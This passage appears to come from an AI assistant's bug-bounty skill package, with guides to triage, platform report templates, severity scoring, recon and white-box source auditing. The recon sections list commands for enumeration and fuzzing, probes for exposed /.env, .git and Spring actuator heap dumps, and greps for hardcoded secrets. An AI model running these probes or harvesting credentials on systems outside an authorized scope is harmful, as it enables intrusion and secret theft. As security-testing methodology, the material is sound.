## Confidence Rating

| Confidence | Criteria |
|---|---|
| **Confirmed** | User has run the PoC and provided real response showing successful exploitation |
| **Probable** | Exploit path is clear, no known defense blocks it, code/logic analysis confirms |
| **Theoretical** | Exploit path exists but runtime verification is needed; user hasn't run it yet |

## When to Suggest Verification

If Theoretical, suggest the exact test for the user to run:

Use quoted text or prefixing with `Example:` — do NOT put runnable commands in code blocks.

After user provides real output:
- **Success output** → upgrade to Confirmed, proceed to report
- **Error/blocked output** → analyze the defense, downgrade or suggest bypass
- **Ambiguous output** → ask for more context before deciding

## Downgrade Triggers

Downgrade severity (not discard) when:
- Impact is real but scope is limited (single user, low-sensitivity data)
- Exploitation requires non-trivial victim interaction
- Partial bypass exists but not full control

Discard entirely when:
- Exploit path breaks at any validation/encoding/parameterization step
- Framework-level protection is confirmed active
- Impact is limited to the attacker's own account (self-impact only)
- Requires unrealistic attacker position (MitM on HTTPS, physical access)


path: references/false-positive-elimination.md
content: # False Positive Elimination + Triage Simulation

Re-evaluate every finding with the intent to **disprove it**. Be the skeptical triager trying to reject the report.

## The Adversarial Checklist

For each finding, run through every question below seeking reasons to REJECT it:

### Attacker Control Questions
- [ ] Is this input truly attacker-controlled, or does it require an existing privileged session?
- [ ] Would a different user's session be needed to trigger impact?
- [ ] Is "attacker-controlled" only possible from the server/admin side?

→ If input control is not clean: **DISCARD**

### Defense Questions  
- [ ] Does the framework apply auto-escaping/parameterization by default?
- [ ] Is a WAF known to block this class of payload in common configurations?
- [ ] Does the app use a popular ORM that uses prepared statements by default?
- [ ] Is the encoding applied at the output layer, not just input validation?

→ If a credible defense is present and not bypassed: **DISCARD or mark Theoretical**

### Reality Check Questions
- [ ] Is this vuln class commonly rejected on this platform? (self-XSS, missing headers, etc.)
- [ ] Does exploitation require admin/owner access that only legitimately authorized users have?
- [ ] Is the impact self-limited (attacker can only affect their own account)?
- [ ] Does exploitation require victim to be on the same network?

→ If yes to any of the above: **DISCARD**

### Version/Environment Questions
- [ ] Does this rely on a known-outdated framework version without confirming the target uses it?
- [ ] Does this depend on a specific environment configuration (debug mode enabled)?
- [ ] Is the payload environment-dependent (Windows-only path traversal on Linux target)?

→ If assumption-dependent: **DISCARD**

## Triage Simulation

For each surviving finding, simulate what a real triager would do:

### HackerOne Triage
- **Accept** → Real security invariant violated, concrete attacker gain, clear PoC
- **Needs Clarification** → Missing PoC, unclear impact scope, one step missing
- **N/A** → Known exclusion class, self-impact only, best practice only, theoretical

### Bugcrowd Triage  
- **P1** → Critical: RCE, environment takeover, mass ATO
- **P2** → High: Stored XSS → ATO, SSRF internal, SQLi with data exfil
- **P3** → Medium: Limited IDOR, reflected XSS with victim interaction
- **P4** → Low: Info disclosure with some sensitivity
- **P5/Rejected** → Everything that doesn't meet Medium bar

### Intigriti Triage
- **Valid** → Exactly reproduced, attacker gains unauthorized access, not purely UI/UX
- **Duplicate** → Check for this pattern across similar endpoints
- **Not Applicable** → No trust boundary crossed, report overstates impact

### YesWeHack Triage
- **Valid** → Business relevance clear, trust boundary crossed, no social engineering required
- **Invalid** → Purely UI behavior, phishing/spoofing language, vague impact
- **Needs Clarification** → Missing repro steps, no PoC, impact unclear

## Severity Downgrade Rules

Do not discard, but reduce severity when:
- Impact is real but requires non-trivial victim interaction → downgrade by 1 level
- Multiple low-severity primitives chain together → cap at Medium unless chain is proved
- IDOR exposes non-sensitive data (IDs, public metadata) → downgrade to Low or discard
- XSS in admin-only panel with known user trust → cap at Medium
- SQLi confirmed but database user has read-only privileges → downgrade from Critical

## Preferred Output: Fewer, Better Findings

**Output 5 confirmed P2/P3 bugs > 50 "potentially vulnerable" speculations.**

If no finding survives all filters → state clearly:
> **"No reportable vulnerabilities identified after triage. Findings that were considered and eliminated: [list with reason discarded]."**

This is the correct and honest result — not a failure.


path: references/platforms/bugcrowd.md
content: # Bugcrowd — Triager + Report Writer

## Triager Mode

Act as a Bugcrowd triage engineer evaluating a submission.

### Evaluation Checklist
- [ ] Does the report clearly explain what is broken (not just what could be better)?
- [ ] Is the impact demonstrable, not hypothetical?
- [ ] Is the severity justified by Bugcrowd's VRT taxonomy?
- [ ] Can it be reproduced step-by-step exactly as written?
- [ ] Is the affected component in scope?

### Priority Reasoning (Bugcrowd VRT)
| Priority | Criteria |
|---|---|
| P1 | RCE, account takeover of any user, authentication bypass unauthenticated |
| P2 | Stored XSS with ATO potential, SQLi with data exfil, SSRF internal network |
| P3 | Limited IDOR (non-sensitive data), reflected XSS with victim interaction, auth issues limited scope |
| P4 | Low-impact info disclosure, minor access control bypass, CSRF on low-sensitivity actions |
| P5 | Best practice / hardening / informational |

Downgrade anything vague by at least one level. Reject outright if purely speculative.

### Likely Rejection Triggers
- "Could allow an attacker to..." without PoC
- Single-user scope (self-XSS, self-CSRF)
- Rate limiting without bypass demonstration
- Version disclosure alone
- CSRF on logout or login

---

## Report Writer Mode

Write for Bugcrowd verification engineers who will immediately attempt reproduction.

### Tone Rules
- Concise, technical, verification-focused
- Explicitly state what the application does INCORRECTLY (not just what could be better)
- No hypothetical worst-case scenarios
- Impact must be a direct consequence of the bug
- No emotional or persuasive language
- No severity overclassification

### Report Format

```markdown
## Summary
[Clear one-paragraph description of the vulnerability and why it's wrong.]

## Technical Details
**Vulnerable Endpoint:** [METHOD /path]
**Input Vector:** [parameter/header/body field]
**Missing Control:** [what check/encoding/validation is absent]
**Why Exploitable:** [specific reason defenses don't prevent this]

## Steps to Reproduce
1. [Step]
2. [Step]
3. [Step — include exact request/response]

Include full HTTP request and response examples.

## Proof of Concept
[Minimal working exploit. The simplest payload that proves the issue.]

## Impact
- Attacker capability: [exact action possible]
- Data exposure: [type and sensitivity of exposed data]
- Privilege escalation: [what access gained beyond intended]
- Business risk: [concrete operational consequence]
- Why not self-XSS / low impact: [explicitly address common rejection reasons]

## CWE Classification
CWE-[NUMBER]: [Name]
Reason: [why this CWE applies to this specific bug]

## Remediation
[Specific secure coding fix. Reference OWASP only if directly on-point.]
```


path: references/platforms/hackerone.md
content: # HackerOne — Triager + Report Writer

## Triager Mode

Act as a HackerOne triager reviewing a report. Apply strict standards.

### Evaluation Checklist
- [ ] Is this a real security vulnerability or expected behavior?
- [ ] Does it cross a clear trust boundary?
- [ ] Does it violate an explicit security guarantee (not just best practice)?
- [ ] Is user deception/social engineering required for impact?
- [ ] Is the impact demonstrable, or inflated speculation?

### Red Flags That Cause Rejection
- "Could be used to phish users" without a non-obvious mechanism
- "Attacker could trick admin into clicking" — social engineering dependency
- Missing proof of authorization boundary crossed
- CVSS score claimed without justification
- Adjectives like "devastating", "critical severity" without technical backing

### Verdict Outputs
- **Accept** — Real vulnerability, PoC works, clear unauthorized impact
- **Needs Clarification** — Missing PoC, impact not demonstrated, one step unclear
- **Likely N/A** — Excluded class, social engineering required, theoretical only

For each weak point in the report: quote the exact sentence that weakens it and state what evidence would fix it.

---

## Report Writer Mode

Write a technically precise, concise report for HackerOne internal AppSec engineers.

### Tone Rules
- No adjectives: "critical", "severe", "devastating" unless CVSS math justifies
- No phrases: "trick users", "phish", "social engineering" unless technically unavoidable
- Every claim directly supported by code behavior or protocol logic
- Focus: root cause → security invariant violated → concrete impact
- No educational explanations the reader already knows
- No CWE name-dropping unless it adds precision

### Report Format

```markdown
# [Vulnerability Type]: [Brief Technical Description]

## Summary
[1-3 sentences: what the component does wrong, specifically. No storytelling.]

## Impact
- Security property violated: [Confidentiality / Integrity / Availability]
- Attacker achieves: [concrete action]
- Who is affected: [all users / authenticated users / specific role]
- Worst case: [specific realistic scenario]

## Steps to Reproduce
1. [Exact action]
2. [Exact action]
3. [Observe: exact expected vs actual]

Include raw HTTP request(s) at each critical step.

## Proof of Concept
[Minimal payload or request. Nothing more than necessary to prove exploitability.]

## Root Cause
[The specific technical weakness: missing check, unsanitized parameter, trust of user-controlled header, etc.]

## Remediation
[Specific, actionable secure coding recommendation. One paragraph max.]
```

### CVSS Reasoning (for severity justification)
Use this framework, not gut feeling:
- **Attack Vector**: Network > Adjacent > Local > Physical
- **Attack Complexity**: Low (reliable) > High (race/brute)
- **Privileges Required**: None > Low > High
- **User Interaction**: None > Required
- **Scope**: Changed > Unchanged
- **Impact**: High/Low per CIA triad leg

State your reasoning explicitly when claiming High or Critical.


path: references/platforms/intigriti.md
content: # Intigriti — Triager + Report Writer

## Triager Mode

Act as an Intigriti triager. Be skeptical. EU triage style prioritizes reproducibility above all.

### Evaluation Checklist
- [ ] Can this be reproduced EXACTLY as written, independently?
- [ ] Is the attacker gaining something they are not authorized to have?
- [ ] Is the issue purely UI/UX? (Intigriti excludes these aggressively)
- [ ] Is the behavior explicitly disallowed by platform rules?
- [ ] Does the report overstate impact vs. what the PoC actually demonstrates?

### Verdict
- **Accept** — Independently reproducible, unauthorized gain, trust boundary violated
- **Duplicate** — Same root cause already reported; check similar endpoints
- **Not Applicable** — UI-only, expected behavior, report overstates impact, scope exclusion

### What Intigriti Triagers Scrutinize
- Missing exact reproduction steps → immediate Needs Clarification
- "Impact could be..." language without PoC → N/A risk
- CSP bypass claims without evidence → scrutinized heavily
- DOM XSS reports without confirming JS execution in victim context

---

## Report Writer Mode

Write engineer-to-engineer. No filler. Assume a technical, skeptical reader.

### Tone Rules
- Structured, factual, minimal
- Reproducibility over storytelling
- No dramatic impact statements
- Clearly separate: Root Cause → Exploitation → Impact
- Do not speculate on attacker motivation
- Include remediation only when directly derived from the root cause
- Neutral, precise language

### Report Format

```markdown
### Description
[Clear explanation of the issue and specifically which component is affected. What the application does instead of what it should do.]

### Technical Analysis
**How the vulnerability works:**
[Mechanistic explanation — not a narrative. What code/logic path allows this.]

**Why the security control fails:**
[Specific control that should prevent this, and why it doesn't.]

**Trust boundary violated:**
[Exactly which boundary is crossed: user→admin, unauth→auth data, client→server execution, etc.]

### Steps to Reproduce
1. [Exact step with any required setup]
2. [Action]
3. [Observe: exact outcome]

Include full HTTP request where the payload is sent and relevant response.

### Proof of Concept
[Minimal, self-contained exploit payload or code. Verifiable without additional context.]

### Impact
**Data exposure / Access escalation:**
[What specifically can be accessed or modified]

**Attack preconditions:**
[What the attacker needs: account, role, victim interaction, etc.]

**Realistic abuse scenario:**
[Single most realistic attack scenario without exaggeration]

### Recommendation
[Specific actionable fix. No generic "sanitize user input" — name the exact function, WAF rule, or code change.]
```


path: references/platforms/yeswehack.md
content: # YesWeHack — Triager + Report Writer

## Triager Mode

Act as a YesWeHack triage analyst. Focus on business relevance and trust boundary violations.

### Evaluation Checklist
- [ ] Does this have clear business relevance (not just technical curiosity)?
- [ ] Is a trust boundary clearly violated?
- [ ] Does the issue survive YesWeHack's "no social engineering" exclusion?
- [ ] Is the authorization/identity/trust model misapplied?
- [ ] Is the language aggressive enough to justify downgrade/closure?

### Verdict + Severity Range
- **Valid** → Business-relevant, trust boundary crossed, reproducible, no social engineering required
- **Invalid** → UI behavior only, relies on user being deceived, vague impact
- **Needs Clarification** → Missing PoC, impact not demonstrated, scope ambiguous

### What Causes Downgrade
- Words like "phishing", "spoofing", "trick" without technical mechanism
- UI behavior (e.g., button doesn't show warning) as the primary impact
- CSRF without sensitive action + demonstrated consequence
- Open redirect without chained attack demonstrated

### What YesWeHack Reviewers Watch For
- Auth misapplication (correct token but wrong permission granted)
- Identity confusion (can act as another user without their credential)
- Trust misapplication (server trusts user input it shouldn't)

---

## Report Writer Mode

Write like an internal security ticket. Conservative claims. Business consequence clear.

### Tone Rules
- Reads like an internal security ticket (concise, professional)
- Conservative in claims — never say more than the PoC proves
- Emphasize violated trust boundaries and security assumptions broken
- Avoid "phishing", "spoofing", "trick" unless technically unavoidable
- Describe HOW authorization/identity/trust is misapplied (not just that it is)
- Assume reviewers will downgrade aggressively if wording is vague

### Report Format

```markdown
# Vulnerability Overview
[Short technical summary: what component, what type of flaw, what attacker achieves.]

# Affected Endpoint / Component
**Endpoint:** [METHOD /path/to/endpoint]
**Component:** [Service name, module, feature]
**Environment:** [Production / Staging if known]

# Technical Details
**Root cause:**
[Specific code-level or protocol-level reason the vulnerability exists.]

**Exploit mechanism:**
[Step-by-step technical explanation of how an attacker leverages this. No narrative.]

**Security assumption broken:**
[What the application assumes vs. what an attacker can actually do.]

# Steps to Reproduce
1. [Setup: account type needed, initial state]
2. [Action with exact parameter/header/payload]
3. [Observe: exact unexpected result]

Include exact HTTP requests and relevant responses.

# Proof of Concept
[Minimal working exploit. Paste exactly what was tested. No theoretical extensions.]

# Security Impact
**Confidentiality:** [Data exposed: type, sensitivity, scope]
**Integrity:** [Data modified: what can be changed, by whom]
**Availability:** [Service impact if any]

**Practical attack scenario:**
[The single most realistic way an actual attacker exploits this. No embellishment.]

**Worst-case business outcome:**
[Concrete operational / financial / regulatory consequence]

# Suggested Fix
[Specific remediation: name the exact function/middleware/configuration to change. One paragraph.]
```


path: references/recon.md
content: # Recon — Structured Reconnaissance Methodology

This file guides the **RECON phase** (Phase 1) of every engagement. Complete this before jumping into vulns. Recon quality directly determines audit quality.

> **Important:** Do NOT actively probe out-of-scope assets. Passive recon is always safe. Active recon (port scans, fuzzing) should only target **in-scope** assets confirmed from the program rules.

---

## Phase 1A — Parse the Program

Before touching any target:

1. **Run `scripts/analyze_scope.py`** on the program file if available:
   ```
   python scripts/analyze_scope.py <program_file.md> --output scope.json
   ```

2. **Manually confirm:**
   - Exact in-scope domains/wildcards (`*.target.com` vs `app.target.com`)
   - Out-of-scope subdomains (often `corporate.target.com`, `careers.target.com`)
   - Excluded vuln types (self-XSS? rate limiting? CSP headers?)
   - Reward tiers — focus time on P1/P2 targets first
   - Special rules (no automated scanning? max request rate?)

3. **Identify the platform** — note which report format to use (`references/platforms/`)

---

## Phase 1B — Passive Subdomain Enumeration

**Goal:** Map all subdomains without sending a single packet to the target.

**Tools to suggest to user (passive only):**

| Tool | Command | What It Finds |
|---|---|---|
| Amass (passive) | `amass enum -passive -d target.com` | DNS, certificates, APIs |
| Subfinder | `subfinder -d target.com -silent` | Passive DNS aggregation |
| crt.sh | `curl https://crt.sh/?q=%25.target.com&output=json` | Certificate transparency |
| Wayback Machine | `gau target.com \| grep -oP '(?<=://)[\w.-]+\.target\.com' \| sort -u` | Historical subdomains |
| SecurityTrails | Search `*.target.com` manually (free tier) | DNS history, MX, NS |
| Shodan | `ssl:"target.com"` or `hostname:target.com` | Exposed services |
| VirusTotal | Search domain in VT graph | Historical DNS |

**After collecting subdomains — resolve live ones:**
```
cat subdomains.txt | dnsx -silent -a -resp > live_subdomains.txt
```

**Check for interesting patterns:**
- `api.target.com`, `api-v2.`, `api-internal.` — API endpoints
- `admin.`, `dashboard.`, `backstage.`, `internal.` — admin panels
- `dev.`, `staging.`, `test.`, `beta.`, `preprod.` — dev environments (looser security)
- `vpn.`, `remote.`, `jira.`, `confluence.` — internal tools potentially exposed
- `cdn.`, `assets.`, `static.` — CDN subdomains (usually out of scope for vulns)

---

## Phase 1C — Technology Fingerprinting

**Goal:** Understand the tech stack before targeting specific vuln classes.

**Passive fingerprinting:**
- **Wappalyzer** (browser extension) — detects framework, CMS, JS libraries, server
- **Stack check from response headers:**
  - `X-Powered-By: Express` → Node.js
  - `X-Powered-By: PHP/8.1` → PHP version
  - `Server: nginx/1.20.1` → Nginx version
  - `X-AspNet-Version` → .NET
  - `Set-Cookie: JSESSIONID=` → Java
  - `Set-Cookie: laravel_session=` → Laravel/PHP
  - `Set-Cookie: csrftoken=` → Django/Python

**JS framework detection (check page source):**
- `__NEXT_DATA__` in page source → Next.js
- `window.__NUXT__` → Nuxt.js
- `ng-version` attribute → Angular
- `data-reactroot` → React
- `__vue_async_data` → Vue.js

**Auth protocol detection:**
- OAuth 2.0: Look for `/oauth/authorize`, `/oauth/token`, `client_id=` in URLs
- SAML: Look for `SAMLRequest=` in URLs
- JWT: Check Authorization headers, cookies named `token`, `jwt`, `access_token`
- API keys: `X-API-Key`, `api_key=` in requests

---

## Phase 1D — JavaScript Bundle Analysis

**The single most underutilized recon step.** Modern SPAs bundle their entire codebase into JS files accessible in the browser — including API endpoints, internal paths, and sometimes hardcoded credentials.

**Step 1 — Find JS bundles:**
```
# From browser DevTools → Sources tab → look for main.*.js, chunk.*.js
# Or from page source: grep for <script src="...js">
```

**Step 2 — Extract endpoints and interesting strings:**
```bash
# Download all JS bundles
gau https://target.com | grep '\.js$' | wget -i -

# Extract API paths
grep -oP '["\x27](/[a-z0-9_/-]{3,})["\x27]' *.js | sort -u

# Find secrets / credentials
grep -iE 'api_key|secret|password|token|credential|bearer|auth' *.js

# Find internal URLs
grep -oP 'https?://[^\s"]+internal[^\s"]+' *.js
```

**Tool to suggest:** [LinkFinder](https://github.com/GerbenJavado/LinkFinder) — automated JS endpoint extractor:
```
python linkfinder.py -i https://target.com/static/js/main.js -o cli
```

**What to look for:**
- Hidden API routes not in official docs
- Internal hostnames (`http://internal-api.target.local`)
- Hardcoded API keys, `REACT_APP_SECRET_KEY=`, `AWS_ACCESS_KEY=`
- Feature flags referencing unreleased/admin features
- Debug endpoints (`/debug/`, `/admin/`, `/__debug__/`)

---

## Phase 1E — Active Endpoint Discovery

**Only perform on confirmed in-scope assets after passive recon.**

**HTTP probing live subdomains:**
```
httpx -l live_subdomains.txt -title -status-code -tech-detect -o live_http.txt
```

**Directory/endpoint fuzzing (targeted, not aggressive):**
```
# API endpoint fuzzing
ffuf -u https://api.target.com/FUZZ -w /path/to/api_wordlist.txt -mc 200,301,302,403 -o api_endpoints.json

# Standard directory fuzzing
ffuf -u https://target.com/FUZZ -w /path/to/common.txt -mc 200,301,302 -t 50
```

**Useful wordlists:**
- `/usr/share/seclists/Discovery/Web-Content/api/objects.txt`
- `/usr/share/seclists/Discovery/Web-Content/common.txt`
- `/usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt`

**Check these paths on every target:**
```
/.env, /.git/config, /.git/HEAD
/swagger.json, /api/swagger.json, /openapi.yaml, /api-docs
/graphql, /graphiql, /api/graphql
/admin, /administrator, /dashboard, /backstage
/debug, /status, /health, /metrics, /actuator (Spring Boot)
/v1/, /v2/, /api/v1/, /api/v2/
/robots.txt (reveals paths to not crawl — often reveals interesting endpoints)
/sitemap.xml
```

---

## Phase 1F — Attack Surface Mapping

After collecting all the above, build an attack surface map:

```
TARGET SURFACE MAP
==================
Primary app:    https://app.target.com [React, Node.js Express, PostgreSQL]
Auth:           OAuth 2.0 via /oauth/authorize, JWT in Bearer header
API:            https://api.target.com/v2/ (Swagger at /api/v2/docs)
Admin panel:    https://admin.target.com (behind SSO — test SSO bypass)
Dev/staging:    https://staging.target.com (resolves — SAME codebase, less protections?)
GraphQL:        https://app.target.com/graphql (introspection open)
File uploads:   POST /api/v2/users/avatar, POST /api/v2/documents/upload
Interesting JS: Found /api/v2/admin/impersonate in main.js — not in docs
```

---

## Phase 1G — Information Disclosure Checks

Quick wins before deep vuln hunting:

| Target | What to Check |
|---|---|
| `/.git/config` | Exposed git repo — clone it: `git clone https://target.com/.git` |
| `/.env` | Database URLs, API keys, encryption secrets |
| `/robots.txt` | Paths marked `Disallow` — often admin/sensitive routes |
| `/sitemap.xml` | Full URL list of the application |
| Error messages | Stack traces, SQL errors, path disclosure |
| HTML comments | `<!-- TODO: remove before prod -->`, internal paths, credentials |
| `X-Debug-Token` header | Symfony profiler exposed |
| `/actuator/env` | Spring Boot — full environment variables including secrets |
| `/actuator/heapdump` | Spring Boot — download heap → extract secrets |
| Response headers | `X-Powered-By`, `Server` version info for known CVEs |

---

## Recon Output Checklist

Before moving to Phase 2 (Audit), confirm you have:

- [ ] In-scope asset list confirmed from program rules
- [ ] Live subdomains enumerated and HTTP-probed
- [ ] Technology stack identified per asset
- [ ] JS bundles downloaded and endpoint-extracted
- [ ] Swagger/OpenAPI schema downloaded if available
- [ ] GraphQL introspection attempted
- [ ] Low-hanging info disclosure checked (`.env`, `.git`, `robots.txt`)
- [ ] Dev/staging instances noted (test separately — often less protected)
- [ ] Attack surface map written down (even a simple bullet list)
- [ ] Highest-reward focus areas identified (from reward tier analysis)


path: references/severity-guide.md
content: # Severity Rating Guide

A unified severity scoring reference for consistent, defensible severity assignments across all vulnerability types and platforms.

---

## Quick Severity Decision Matrix

Ask these 4 questions in order:

```
1. Does the attacker need authentication?
   No → potential Critical/High
   Yes (low-privilege) → potential High/Medium  
   Yes (admin-only) → Medium/Low

2. Does victim interaction (click/visit) required?
   No → +1 severity tier
   Yes → standard

3. What is the data/system impact?
   RCE / full account takeover → Critical
   Other accounts' sensitive data / admin access → High
   Attacker's own data only → Medium/Low

4. Is the scope changed? (attacker moves beyond originally targeted component)
   Yes (e.g., SSRF internal, XSS → ATO) → Critical/High
   No → stay at base level
```

---

## Severity Definitions

### 🔴 Critical
- Unauthenticated RCE on production server
- Unauthenticated account takeover of any user (including admin)
- Full cloud credential exposure (AWS/GCP/Azure with admin permissions)
- Authentication bypass → admin access without credentials
- Mass data exfiltration of sensitive PII/financial data at scale

**Threshold:** Immediate, severe, widespread impact with no prerequisites.

---

### 🟠 High
- Authenticated RCE (any user)
- Stored XSS with ATO potential (reads HttpOnly-free session cookie)
- SQLi with data exfiltration of sensitive tables
- SSRF to internal services / IMDS
- IDOR accessing sensitive data of other users (PII, financials)
- OAuth / JWT forgery → full account takeover
- Subdomain takeover on auth-relevant subdomain
- CORS misconfiguration leaking authenticated API responses
- Mass assignment → role escalation to admin

**Threshold:** Significant unauthorized access or data exposure requiring some attacker effort or prerequisites.

---

### 🟡 Medium
- Reflected XSS (requires victim to click link)
- SQLi with blind confirmation but no data exfil verified
- IDOR on non-sensitive data (public profile info)
- SSRF (blind, no internal access confirmed)
- Path traversal reading non-sensitive files
- CSRF on sensitive action (password change, email change)
- Subdomain takeover on marketing/CDN subdomain
- Rate limit bypass on sensitive action
- Open redirect chained with OAuth → auth code theft

**Threshold:** Real vulnerability with limited impact or requiring meaningful victim interaction.

---

### 🟢 Low
- Open redirect (standalone, no auth chain)
- Path traversal reading non-sensitive application files
- IDOR on fully public data
- Missing security headers (CSP, HSTS) — only if isolated from other vulns
- Version disclosure that reveals software with known CVEs (unconfirmed exploitability)
- SSRF (external-only, no internal access)
- Blind CSRF on low-sensitivity action

**Threshold:** Real vulnerability but limited practical impact without additional conditions.

---

### ⚪ Informational / Not Reportable
- GraphQL introspection enabled (alone)
- Missing `X-Frame-Options` without PoC clickjacking
- SPF/DMARC misconfiguration alone
- Content-Security-Policy not implemented (alone)
- Open directory listing with no sensitive files
- Self-XSS (attacker-on-attacker only)
- CSRF on login / logout
- Rate limiting missing (without exploitable action)
- Version number in response (without confirmed CVE)

---

## Platform Severity Mapping

| Our Rating | HackerOne | Bugcrowd | Intigriti | YesWeHack |
|---|---|---|---|---|
| Critical | Critical (9.0–10.0) | P1 | Critical | Critical |
| High | High (7.0–8.9) | P2 | High | High |
| Medium | Medium (4.0–6.9) | P3 | Medium | Medium |
| Low | Low (0.1–3.9) | P4 | Low | Low |
| Informational | N/A | P5 | Informational | Informational |

---

## CVSS v3.1 Quick Scoring (for HackerOne reports)

When HackerOne requests CVSS justification, use this:

| Metric | Value | Score Impact |
|---|---|---|
| Attack Vector (AV) | Network | Highest |
| Attack Complexity (AC) | Low | Highest |
| Privileges Required (PR) | None | Highest |
| User Interaction (UI) | None | Highest |
| Scope (S) | Changed | Higher |
| Confidentiality (C) | High | Up to 3.3 |
| Integrity (I) | High | Up to 3.3 |
| Availability (A) | High | Up to 3.3 |

**Maximum score:** AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H = **10.0 (Critical)**

**Common example — Stored XSS with ATO:**
`AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N` = **8.7 (High)**

---

## Severity Downgrade Conditions

Always downgrade if:
- Attack requires social engineering or victim to be deceived (−1 tier)
- Attack only works in non-default / obscure browser configurations (−1 tier)
- Attack requires admin-level privileges to reach the vuln (−1 to −2 tiers)
- Vulnerability exists only in staging/dev environment not affecting prod (−1 tier)
- Impact limited to attacker's own data / self-only (−2 tiers usually → not reportable)
- WAF effectively blocks all known exploit variants (note as theoretical)

---

## Reporting Severity With Confidence

In every finding, state:
```
Severity: High
CVSS: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N (8.1)
Justification: Exploitable over network (AV:N), low complexity (AC:L), 
               requires authenticated user (PR:L), no victim interaction (UI:N),
               scope unchanged (S:U), full confidentiality and integrity impact.
```


path: references/source-code-audit.md
content: # Source Code Audit — White-Box Vulnerability Hunting

Use this file when you have access to a **locally downloaded GitHub repository or source code**. White-box auditing is significantly faster and more thorough than black-box — vulnerabilities that would take days to find by guessing can be found in minutes by reading the code.

> **Authorization:** Source code review must still target programs where you have permission to test (active bug bounty program, OSS program, or explicit written authorization).

---

## Step 1 — Identify the Tech Stack

Determine the language and framework from the repository root:

| File Found | Stack | Primary Framework Clue |
|---|---|---|
| `package.json` | Node.js | Check `dependencies`: `express`, `koa`, `fastify`, `nextjs` |
| `requirements.txt` / `setup.py` / `pyproject.toml` | Python | `django`, `flask`, `fastapi`, `tornado` |
| `pom.xml` / `build.gradle` | Java | `spring-boot`, `struts`, `quarkus` |
| `composer.json` | PHP | `laravel`, `symfony`, `codeigniter`, `slim` |
| `Gemfile` | Ruby | `rails`, `sinatra`, `grape` |
| `go.mod` | Go | `gin`, `echo`, `fiber`, `chi` |
| `*.csproj` / `*.sln` | .NET / C# | `aspnetcore`, `mvc` |

Once stack is identified, proceed with language-specific patterns below.

---

## Step 2 — Entry Point Discovery

Map where user input enters the application. These are the sources to trace to dangerous sinks.

**Node.js / Express:**
```
grep -rn "router\.\(get\|post\|put\|delete\|patch\)" routes/ app.js server.js
grep -rn "app\.\(get\|post\|put\|delete\)" --include="*.js"
grep -rn "req\.body\|req\.query\|req\.params" --include="*.js"
```

**Python / Django:**
```
grep -rn "path\|url\|re_path" urls.py
grep -rn "request\.GET\|request\.POST\|request\.data" --include="*.py"
```

**Python / Flask / FastAPI:**
```
grep -rn "@app\.route\|@router\.\|@bp\.route" --include="*.py"
grep -rn "request\.args\|request\.form\|request\.json" --include="*.py"
```

**Java / Spring:**
```
grep -rn "@RequestMapping\|@GetMapping\|@PostMapping\|@PutMapping" --include="*.java"
grep -rn "@RequestParam\|@PathVariable\|@RequestBody" --include="*.java"
```

**PHP / Laravel:**
```
cat routes/web.php routes/api.php
grep -rn "\$_GET\|\$_POST\|\$_REQUEST\|request()->" --include="*.php"
```

**Ruby / Rails:**
```
cat config/routes.rb
grep -rn "params\[" --include="*.rb"
```

---

## Step 3 — Dangerous Sink Patterns by Language

Search for these sinks, then trace backwards to find if user-controlled input reaches them.

### Node.js / JavaScript

| Vulnerability | Sink Pattern to Grep |
|---|---|
| Command Injection | `child_process.exec(`, `child_process.execSync(`, `spawn(` with `shell: true` |
| SQL Injection | `.query(` with string concat, `knex.raw(`, `sequelize.query(` |
| Path Traversal | `fs.readFile(`, `fs.readFileSync(`, `res.sendFile(`, `path.join(` with user input |
| Open Redirect | `res.redirect(req.query.`, `res.redirect(req.body.` |
| NoSQL Injection | `find({` with user input, `findOne(req.body` |
| Prototype Pollution | `Object.assign(`, `merge(`, `extend(` with user-controlled objects |
| SSRF | `axios.get(userInput`, `fetch(userInput`, `http.get(userInput` |

```bash
# Quick command injection scan
grep -rn "child_process" --include="*.js" --include="*.ts"
grep -rn "eval(" --include="*.js" --include="*.ts"
grep -rn "\.exec(" --include="*.js" | grep -v "regex\|RegExp\|\.test\|match"
```

### Python

| Vulnerability | Sink Pattern |
|---|---|
| Command Injection | `os.system(`, `subprocess.run(` with `shell=True`, `subprocess.Popen(` with `shell=True` |
| Code Injection | `eval(`, `exec(`, `compile(` with user input |
| SQL Injection | `.execute(f"`, `.execute("SELECT` + string concat |
| Path Traversal | `open(user_`, `send_file(`, `send_from_directory(` |
| Deserialization | `pickle.loads(`, `yaml.load(` without `Loader=yaml.SafeLoader` |
| SSTI | `render_template_string(user_input` |
| SSRF | `requests.get(url` where `url` is user-controlled |

```bash
# Quick Python sink scan
grep -rn "eval\|exec\|pickle\.loads\|yaml\.load" --include="*.py"
grep -rn "shell=True" --include="*.py"
grep -rn "\.execute(" --include="*.py"
```

### PHP

| Vulnerability | Sink Patterns |
|---|---|
| Command Injection | `exec(`, `passthru(`, `shell_exec(`, `popen(` — trace if arg contains user input |
| SQL Injection | `mysql_query(`, `mysqli_query(` with string concat, no prepared statement |
| File Inclusion | `include(`, `require(`, `include_once(` with user-controlled path |
| Open Redirect | `header("Location: " . $_GET[` |
| XSS | `echo $_GET[`, `echo $_POST[` without `htmlspecialchars()` |
| Deserialization | `unserialize($_` |

```bash
grep -rn "include\s*(\s*\$_GET\|include\s*(\s*\$_POST\|include\s*(\s*\$_REQUEST" --include="*.php"
grep -rn "echo\s*\$_GET\|echo\s*\$_POST\|echo\s*\$_REQUEST" --include="*.php"
grep -rn "unserialize\s*(" --include="*.php"
```

### Java

| Vulnerability | Sink Patterns |
|---|---|
| Command Injection | `Runtime.getRuntime().exec(`, `new ProcessBuilder(` |
| SQL Injection | `Statement.execute(` / `executeQuery(` with string concat (look for missing `PreparedStatement`) |
| Deserialization | `ObjectInputStream.readObject(`, `XMLDecoder(` |
| Path Traversal | `new File(userInput`, `Paths.get(userInput` |
| XXE | `DocumentBuilder`, `SAXParser` without disabling external entities |
| SSRF | `new URL(userInput).openConnection(` |

```bash
grep -rn "Runtime.getRuntime\|ProcessBuilder\|ObjectInputStream" --include="*.java"
grep -rn "Statement\b" --include="*.java" | grep "execute"
```

---

## Step 4 — Secret and Credential Hunting

Look for hardcoded credentials, API keys, and tokens accidentally committed:

```bash
# Generic secret patterns
